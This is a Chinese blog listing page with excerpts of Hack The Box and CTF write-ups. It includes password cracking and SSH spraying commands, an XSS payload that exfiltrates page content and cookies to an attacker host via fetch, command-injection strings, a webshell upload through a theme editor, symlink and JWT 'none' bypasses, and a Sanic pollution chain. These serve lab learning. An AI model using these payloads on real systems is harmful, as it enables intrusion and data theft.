[HTB]第三章

本篇靶机为Sea、Sightless和Chemistry hashcat、hydra和john的小常识 三者格式如下 hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt john hash --wordlist=/usr/share/wordlists/rockyou.txt hydra -L users.txt -p '???' ssh://ip 其中users.txt和hash为文件,hydra用来ssh密码喷洒 顺便记录一下hashcat -a的attck mode都是什么意思 shell中的注释 php代码如下 <?php if (isset($_POST['analyze_log'])) { $log_file = $_POST['log_file']; $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'"); if (!empty($suspicious_traffic)) { echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>"; echo "<pre>$suspicious_traffic</pre>"; } else { echo "<p>No suspicious traffic patterns detected in $log_file.</p>"; } } ?> 很明显是要命令注入$log_file,但在CTF里学的绕过方法都不奏效,是因这里有一个管道符|在捣乱 所以思路是要让管道符失效,linux shell中让后续命令失效的办法只有一个,那就是注释,所以直接用 #注释就行 ...

December 19, 2024 · 1 min · Red

[HTB]第二章

最近终于有空来玩玩HTB啦,时隔半年的HTB笔记也终于又更新了。本篇靶机为Alert和Linkvortex xss回连测试与数据带回 可以用下面这段简单测试xss是否存在bot访问从而进行回连 <script>location="http://ip"</script> 如果存在,就可以用fetch进行外带,达到类似CSRF的效果 <script> var readfile="http://127.0.0.1/index.php";//改一下page就好 fetch(readfile) .then(response => response.text()) .then(data => { fetch("http://ip/?data=" + encodeURIComponent(data)+"&cookie="+document.cookie);//改成你的ip }) .catch(error => fetch("http://ip/?err="+error.message)); </script> apache2默认配置文件路径 /etc/apache2/sites-available/000-default.conf .htpasswd 这是一个和.htaccess类似的apache用户级配置文件,可以配合apache认证功能来模拟一个简单的登录认证。这个文件就是用来存放账号密码的。明文,可以直接查看 linpeas参数 -o参数是个很好用的参数,可以指定输出一些东西,因为linpeas的东西实在太杂了 一般intersting_perms_files是个不错的选择 同时,拿到foothood后观察一下127.1的端口也是个很值得关注的点 groups 这是一条指令,可以查看当前用户和所在组。当然如果环境中没有这个软件,也可以用cat /etc/groups | grep "akaRed",是等效的 Dockerfile 有时候githack下来的dockerfile会说使用了什么配置文件去build,配置文件里可能会有密码之类的 HOST头FUZZ 有时候需要fuzz子域,但是在不知道的情况下又没dns咋办?去fuzz host头就行 ffuf -u "http://ip" -w /usr/.../dns.txt -H "HOST: FUZZ.???.???" -ac 关于ffuf的使用可以看下面一条。这里也顺便记录一个子域字典吧:/usr/share/dnsenum/dns.txt 不得不说kali的自带字典虽然藏得深但是真的全 ffuf wfuzz日常没法用的一天= = 现在我投靠了这个新的fuzz工具,一样kali自带 格式如下,很方便很好记 ffuf -u "http://ip/FUZZ" -w /usr/.../dns.txt -fc/-ac -fc和-ac选一个就行,-fc是过滤你不要的,比如-fc 404。-ac是自动过滤软件自己觉得没用的 软链接绕过名字检查 好像上一篇HTB记录过,但是上一篇是为了让检测软件误认为自己打开的是pdf实则是我们定向的文件,检测软件并没有对定向过后的文件做检查 但这里要介绍的是,如果做了定向后的检查,只要套了两层软连接,就可以绕过一些文件名检查。这里的漏洞就在于软件一般只追踪一层,而不会去看下一层 比如要你只能打开png图片,那么我只要像下面这样包,就检测不到了 ln -s /etc/passwd 2.png ln -s 1.png 2.png 小tips 要注意观察每个文件夹的读写执行权限和所属组 ...

December 17, 2024 · 1 min · Red

24-25上半学年第二次线上赛 | Writeup

一样是部分wp,其他题不会可以来群上问 misc 鲨鱼 不懂如何使用wireshark先去把提示里的链接看了 拿到附件后可以直接用foremost分离 分离出一个压缩包但是要密码,所以我们先进流量包看 进来后随机选择一个http包,跟踪tcp流,就开始把每条流量分析过去 在stream 7发现一串有jpg头的16进制数据 并且是jpg文件尾 复制到cyeberchef梭一下就能出来 拿图片里的密码去解压缩包即可 web 一些黑客技巧 diresearch可以扫到admin目录,发现需要登陆 回到首页搜集信息,怀疑用户名存在madeline 根据题目名称,密码猜测是123456(如果没猜出密码,因为也可以爆破) 成功登陆 进来后点控制台->外观->编辑当前外观,会发现可以对php文件插入代码 直接插入一句马,蚁剑上线即可

December 11, 2024 · 1 min · Red

2024国赛 sanic复现

我敢说这些嗯抄gxngxngxn那篇分析sanic博客的家伙都是要么没过脑子要么懒成狗= = 包括gxngxngxn的那篇分析,其实最关键的步骤只告诉了“要怎么做”,而没有告诉“为什么要这样做” 我就直接把自己总结的python框架的原型链污染题的解题思路在这道题中体现出来吧 学框架污染前提肯定是python原型链基础,建议可以先看这篇。如果你还不理解原型链污染,那么建议先看看js原型链污染 这里我就跳过admin绕过,因为这不是我们本篇分析的重点。这一部分可以去看gxngxngxn的分析博客 第一步,找污染点 核心肯定就是利用对pollute类的pydash._set污染,从而污染到其他我们想污染的内容。目标很明确,我们想要读取flag,也就是要读取文件。就先来找找题目源码有没有可以直接污染就能读文件的地方 很明显,我们如果能控制__file__的值,就能读取任意文件。这里我放两个repeater repeater 1用来查看src的内容和全局变量状态 repeater 2用来发送污染数据 并且在src的return打个断点 首先访问一下src,看一下全局变量状态 很容易发现__file__,而我们要污染到全局变量的__file__,就要先知道污染点现在在哪。很明显在Pollute类,所以我们用__class__访问类,__init__访问初始化函数,__globals__访问全局变量,就能访问到__file__。具体原理参考上面贴的原型链污染基础文章 这里我先污染成我自己创建的文件试一下。先把刚才的断点放行后污染一下 在访问一遍src,就可以发现__file__值被污染 但如果我们上靶机上试,直接污染成/flag是读取不了的,很有可能是flag文件名是随机的,所以我们要想别的办法。所以__file__污染这条路是走不通的。一些wp并没有说明这点,容易误导新手 那还有什么地方可以污染吗?通篇阅读一下题目源码,会发现只有app.static这一个地方有涉及到文件路径,但很明显这里是写死的路径,我们没有办法修改./static这个参数的值(也就是下图的file_or_directory)。但一般这类框架内置方法都不会只有短短两个参数,所以我们可以跟进一下static方法 会发现参数确实不少,在题目源码中被赋值的只有uri和file_or_directory两个参数。我们接着往下翻,就会看到一大串注释,这些注释就是介绍每个参数的功能。如果你在国赛当天写这道题,那当然是要把每个注释都看过去一遍。所以我们看到这个地方 这两个参数在题目源码里是没有被赋值的,一个意思是开启列目录的功能,另一个意思是所列目录的路径。我们可以先污染一下directory_view成true看看会发生什么。 第二步,找在哪进行污染 这里在哪进行污染并不只是admin路由下的pydash._set,更重要的是我要污染哪个变量下的哪个属性,也就是污染链。 我们可以很清楚知道__class__.__init__.__globals__是正在执行的题目文件的全局变量环境,所以我们先来全局变量里有哪些变量可以污染。一样在src打断点访问 除了特殊变量和函数、类以外,只有两个变量。pydash是我们用来进行污染的工具,本身要污染的点肯定不在pydash里,而是在sanic。而app=Sanic(__name__),所以我们跟进app变量 此时你会看到一堆眼花缭乱的变量,但别着急,我们为了找到能过污染的点,必须要先清楚一个python小知识,也就是污染点必须是能够被我们写入的。所以反过来想,如果我们把不能写入的能先排除,那就可以进一步缩小范围了。而在python中,常用且不能写入的基础数据类型只有一种,那就是元组。所以我们就先不看元组数据,也就是像下面这样的子变量 并且我们其实也可以先将上面这种特殊变量先跳过,因为我们现在很明确自己要找的是和static下的路径,也就是和路由有关的内容,所以我们可以将目光放在app变量下和route类似的名字上。 (其实在这个地方我想过很久的思维链,为什么会想要找和route有关的东西?直到发文前一天晚上还在一位和很有开发经验的朋友一起研究时才告诉我,这其实只能当作一种常识记下来,就像在web开发时,其实大部分时间也是在做和路由有关的事情,所以就应该首先想到路由。如果你和我一开始一样,还是觉得这样看到route有点无厘头,觉得在实战中可能并不一定会出现在route,那么你也可以像我一样将别的变量全部检测过去一次,以防万一,甚至还有可能发现别的污染链) 可以发现一个router 接着我们继续按照上面说到的筛选条件,也就是不看元组,来继续找找可利用的变量。可以发现有name_index,routes_all,routes_static,static_routes等一众可疑变量 到这里如果是在比赛中,就必须要将每一个可以变量跟进看看能不能达到directory_view(这里需要注意,我们要污染的directory_view在static方法下,所以我们只用看static的路由)。可以的话例如我尝试跟进routes_all和routes_static 这是routes_all,可能存在污染 routes_static没有static路由,所以不可能存在污染 就像这样,将每一个变量跟一遍为止,直到找出directory_view。并逐个污染,看污染后的值会不会保留。 比如我污染routes_all试试 返回success,再次访问src验证是否污染成功 仍然是false 经过大量尝试后会发现只有在污染name_index下的变量时才能成功保留。层级如下(太长了截屏截不下,只能用表达式表示) app.router.routes_all[('static', '<__file_uri__:path>')].handler.keywords['directory_handler'].directory_view 这也是这道题为什么在当时只有一支队做出来的原因,也是这题真正的难点。但gxngxngxn的分析博客和其他抄他的人只在wp中草草提到这个name_index是“经过查询资料”后得到的。 也正因为查了两周的大大小小各种资料仍找不到他说的这个功能,所以才决定自己复现= =也许人家是真找到了,但可以说跟风的人都没有去验证的脑子啊…… 第三步,开始污染 找到了需要污染点和怎么污染的链子,就可以开始污染了。 再来回顾一下第一步的总结,我们需要污染这两个东西 directory_view已经在上一步污染成功,那么接下来要污染的就是显示的路径。我们跟进static找一下directory_handler的引用 ...

December 10, 2024 · 1 min · Red

24-25上半学年第一次线上赛 | Writeup

Misc上课讲过就不写了= =好忙最近,如果有不会的再来群上问吧 触手可得 先看代码,首页只有这些,访问一下flag.php会发现没有内容,所以只能想办法利用下面的代码去拿到flag 很明显这里只要满足$key等于后面一大串就能拿到flag了,所以payload就是 你说上面那个什么md5是干嘛用的?你都知道这样问了,那当然是没用啦^ ^ 时间管理大师 如果你是24届竞赛组成员,可以先看个代码分析的大概逻辑,不一定需要全看懂。 先看入口 这里的spl_autoload_register搜了一下其实就是注册路由,访问什么就进到什么目录下 下面的route其实就是定义访问根路径时使用的路由,这里直接定位到controllers/TimeController.php里看一下逻辑 传入进来的format被赋值给$format,并被丢到TimeModel里处理了一下,这里跟进一下TimeModel类。 可以看到$format被直接与date '+和' 2&1拼接,其中2>&1的意思是将标准错误重定向到标准输出中,意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果,最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果 这里我们假设传入进来的内容是 ';ls||,则整句代码会变成这样 date '+';ls|| 2>&1 这样执行起来的结果我们可以在自己的linux里尝试一下 会发现执行成功。但一开始我想到用 ';ls;这样的方式没有执行成功,提示权限不足,原因是因为闭合后2>&1在等待你的输入但没有得到,所以会提示权限不足。 还有另一种解法的payload是 ';ls|cat ',这样闭合后的结果如下 date '+';ls|cat '' 2>&1 原理就是将ls的输出用cat显示回来给我们,所以就能达到执行的效果 没有人比我更懂JWT 附件只有一个python文件,先看逻辑 使用flask框架,定义了secret_key,但是是随机值,应该没法爆破 并且只有下面两个路由 先来看一下/login 接收两个变量,username和password,其中username被丢到jwt里进行加密,使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息,也就是role后跟着的内容,也就是role的值,我们先记住。 /flag路由里首先会接收请求这个路由的用户所携带的jwt,然后对其进行解码后检验role的值是否是admin,是的话返回flag,不是就告诉我们只有admin才能访问 如果只按照代码的登录逻辑,没有找到可以将role值改成admin的地方。所以我们就要手动改,先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json,因为data = request.json 接着丢到jwt.io里,改成admin,然后复制被赋值完的jwt 接着我们回到刚刚的代码,注意到一个地方 这里的options被设置成了不需要验证签名和exp的值,也就是说我们可以将加密算法修改成None,这样就能达到修改了role值还能通过解码的目的。原理如下(原文点击这里查看) 这里我们需要借助一款工具,jwt_tool。下载后,可以在使用文档中查看如何使用None攻击 照着格式填进去就可以生成修改后的jwt了 这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意,根据代码,需要先写上你的用户名,再用一个空格加上jwt。这里我的用户名是1,所以结果就如下

December 5, 2024 · 1 min · Red